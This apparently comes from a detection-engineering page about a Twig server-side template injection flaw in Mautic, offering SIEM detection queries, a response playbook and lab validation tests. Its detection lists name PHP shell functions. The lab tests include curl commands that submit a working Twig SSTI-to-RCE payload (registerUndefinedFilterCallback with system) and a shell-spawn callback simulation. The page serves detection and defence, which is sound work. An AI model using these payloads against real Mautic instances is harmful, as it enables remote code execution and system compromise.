Mautic Server-Side Template Injection (SSTI) in Theme Templates
Detects exploitation of CVE-2026-9558, a critical (CVSS 9.9) Server-Side Template Injection vulnerability in Mautic's theme template engine (CWE-1336, Twig-based SSTI). An authenticated or in some deployments unauthenticated attacker can inject malicious Twig template syntax through theme customization, email/landing page builder, or theme upload/import functionality, achieving remote code execution on the underlying PHP host. Affects mautic/core versions >=1.3.0 <4.4.13, >=5.0.0 <5.2.11, >=6.0.0 <6.0.9, and >=7.0.0 <7.1.2. A public PoC/advisory exists (GHSA-9fx4-7cmj-47vg).
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- composer
- Product
- mautic/core
- Versions
- >= 1.3.0, < 4.4.13, >= 5.0.0, < 5.2.11, >= 6.0.0, < 6.0.9, >= 7.0.0, < 7.1.2
Weakness (CWE)
Timeline
- Disclosed
- July 2, 2026
What is CVE-2026-9558 Mautic Server-Side Template Injection (SSTI) in Theme Templates?
Mautic Server-Side Template Injection (SSTI) in Theme Templates (CVE-2026-9558) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Mautic Server-Side Template Injection (SSTI) in Theme Templates, covering the data sources and telemetry it touches: AppServiceHTTPLogs, W3CIISLog, AzureDiagnostics. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
let ThemeTwigMarkers = dynamic(['{{', '}}', '{%', '%}', '_self', 'getFilter', '__construct', 'system(', 'exec(', 'passthru(', 'proc_open(', 'shell_exec(']);
AppServiceHTTPLogs
| where ScmType == "" or CsHost has "mautic"
| where CsUriStem has_any ("/s/themes", "/s/emails", "/s/pages", "/s/dynamicContent", "/theme/upload", "/api/themes")
| where CsMethod in ("POST", "PUT")
| extend DecodedBody = url_decode(tostring(CsUriQuery))
| where DecodedBody has_any (ThemeTwigMarkers) or CsUriQuery has_any (ThemeTwigMarkers)
| project TimeGenerated, CIp, CsMethod, CsUriStem, CsUriQuery, ScStatus, CsUserAgent
| order by TimeGenerated desc Detects HTTP requests to Mautic theme/email/page builder endpoints containing Twig template injection payload markers (delimiters, __construct, or PHP function-call patterns commonly used in Twig SSTI-to-RCE chains) consistent with exploitation of CVE-2026-9558.
Data Sources
Required Tables
False Positives
- Legitimate developers testing Twig syntax in theme customization during authorized development work
- Automated vulnerability scanners probing the endpoint without actual exploitation intent
- WAF/proxy logging that URL-encodes curly braces from unrelated JSON payloads
Sigma rule & cross-platform mapping
The detection logic for Mautic Server-Side Template Injection (SSTI) in Theme Templates (CVE-2026-9558) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: azure Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-9558
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Twig SSTI probe against theme endpoint
Expected signal: Web access log entry for POST /s/themes/edit/1 containing the literal string {{7*7}}; if vulnerable, the rendered theme output contains '49'.
- Test 2Twig-to-PHP function call injection
Expected signal: Web log entry showing POST to /s/emails/edit/1 with __construct/getFilter/system( markers; process telemetry showing php-fpm spawning 'id' if the gadget chain succeeds in the lab sandbox.
- Test 3Post-exploitation shell spawn simulation from PHP-FPM
Expected signal: Process creation events showing bash/id/whoami/curl spawned with parent process php-fpm running as www-data, plus an outbound connection to the test callback listener.
Response Playbook
Triage
- Identify the affected Mautic version via /s/public or admin footer, composer.lock, or the mautic:core update banner, and confirm it falls within the vulnerable ranges (>=1.3.0 <4.4.13, >=5.0.0 <5.2.11, >=6.0.0 <6.0.9, >=7.0.0 <7.1.2).
- Review recent theme, email, and landing page edit history in the Mautic audit log for injected Twig syntax such as {{, {%, __construct, or PHP function calls (system, exec, passthru, proc_open).
- Correlate the timestamp of suspicious template edits with web server access logs and PHP-FPM error logs to establish which user account or source IP performed the injection.
- Check for unexpected child processes spawned by the PHP-FPM/Apache/Nginx worker (shells, reverse-shell binaries, curl/wget downloads) on the Mautic host around the time of the suspicious request.
Containment
- Immediately isolate the Mautic host from outbound internet access at the network/firewall layer to prevent C2 callback or data exfiltration while investigation continues.
- Disable or restrict access to the affected theme/email/page-builder endpoints (e.g., via WAF rule blocking Twig delimiter patterns) until the instance is patched.
- Revoke or rotate credentials/API tokens for any user account implicated in the malicious template submission, and force-expire active admin sessions.
Evidence Collection
- Export the full contents of the malicious theme/email/landing-page template (including raw Twig source) before remediation for forensic and legal review.
- Collect web server access/error logs, PHP-FPM logs, and Mautic application audit logs covering the suspected exploitation window, and preserve a memory/disk snapshot of the host if RCE is confirmed.
- Capture running process tree, network connections, and any dropped files/webshells discovered on the host, hashing all artifacts for chain of custody.
Escalation Criteria
- ! Escalate to incident response if evidence of successful code execution is found (unexpected child processes, webshells, outbound C2 connections, or new/modified admin accounts).
- ! Escalate if the Mautic instance handles marketing data containing PII/customer records, or if it has trust relationships (SSO, API integrations, shared secrets) with other production systems.
- ! Escalate if the affected instance is internet-facing and multiple exploitation attempts are observed across a short window, suggesting mass scanning or targeted campaign activity.
Investigation Guide
Forensic Artifacts
- >
Mautic theme/email/landing-page template source stored in the database (theme_html/theme_config fields) or on-disk under themes/<theme>/html/ - >
Web server (nginx/Apache) and PHP-FPM access/error logs showing the exploitation request and any resulting 500 errors from malformed Twig execution - >
Mautic audit_log table entries recording who created/modified the theme or content asset and when
Tuning Guidance
Baseline legitimate Twig usage by developers and marketing staff who customize themes (they will use {{ }} and {% %} for variables/loops but rarely reference __construct, getFilter, or direct PHP function calls like system()/exec()/proc_open()). Suppress alerts from known internal developer IPs performing sanctioned theme work, and require the process-execution correlation (EQL/CQL rules) before treating a match as high-confidence RCE rather than benign template editing.
Hunting Queries
Broad hunt for any historical requests to Mautic theme/content endpoints carrying Twig-to-PHP function-call payloads, to identify prior undetected exploitation attempts of CVE-2026-9558.
AppServiceHTTPLogs
| where CsUriStem has_any ("/s/themes", "/s/emails", "/s/pages")
| where CsUriQuery has_any ("system(", "exec(", "passthru(", "__construct", "getFilter")
| summarize count() by CIp, CsUriStem, bin(TimeGenerated, 1h) index=web (uri_path="*/s/themes*" OR uri_path="*/s/emails*" OR uri_path="*/s/pages*") (uri_query="*system(*" OR uri_query="*exec(*" OR uri_query="*__construct*") | stats count by clientip, uri_path, _time Atomic Red Team Tests
Submits a benign Twig expression (arithmetic evaluation) to a lab Mautic theme customization endpoint to verify whether server-side Twig rendering occurs outside the sandbox, confirming the SSTI vector without executing OS commands.
Command
curl -s -X POST 'http://LAB-MAUTIC-HOST/s/themes/edit/1' -H 'Cookie: PHPSESSID=<lab_session>' --data-urlencode 'theme_details[customHtml]={{7*7}}' Cleanup
Revert the theme's customHtml field to its original content via the Mautic admin UI or database restore from backup. Expected Telemetry
Web access log entry for POST /s/themes/edit/1 containing the literal string {{7*7}}; if vulnerable, the rendered theme output contains '49'.
Expected Detection
kql/spl rules match on the {{ Twig delimiter marker in the request payload targeting the themes endpoint.
In an isolated lab Mautic instance, injects a Twig payload using known SSTI-to-RCE gadget syntax (e.g., referencing __construct/getFilter to reach a PHP callable) to validate detection of function-call indicators without granting real remote access.
Command
curl -s -X POST 'http://LAB-MAUTIC-HOST/s/emails/edit/1' -H 'Cookie: PHPSESSID=<lab_session>' --data-urlencode 'emailform[customHtml]={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}' Cleanup
Restore the lab email template to its pre-test content and restart the php-fpm/mautic worker to clear any cached compiled templates. Expected Telemetry
Web log entry showing POST to /s/emails/edit/1 with __construct/getFilter/system( markers; process telemetry showing php-fpm spawning 'id' if the gadget chain succeeds in the lab sandbox.
Expected Detection
EQL sequence rule and CrowdStrike CQL rule fire on the correlated HTTP-request-then-child-process pattern; QRadar AQL/Sumo rules match on the payload markers.
Simulates the process-execution artifact of a successful SSTI-to-RCE chain by having the php-fpm worker process directly spawn a shell command, validating that EDR/process-based detections fire independent of the initial web request.
Command
sudo -u www-data bash -c 'id; whoami; curl -s http://127.0.0.1:9999/callback' Cleanup
No persistent changes made; terminate any lingering test connections and review/clear the local netcat listener used to receive the simulated callback. Expected Telemetry
Process creation events showing bash/id/whoami/curl spawned with parent process php-fpm running as www-data, plus an outbound connection to the test callback listener.
Expected Detection
CrowdStrike CQL rule and Elastic EQL sequence rule alert on the unexpected child process chain originating from the PHP-FPM parent process.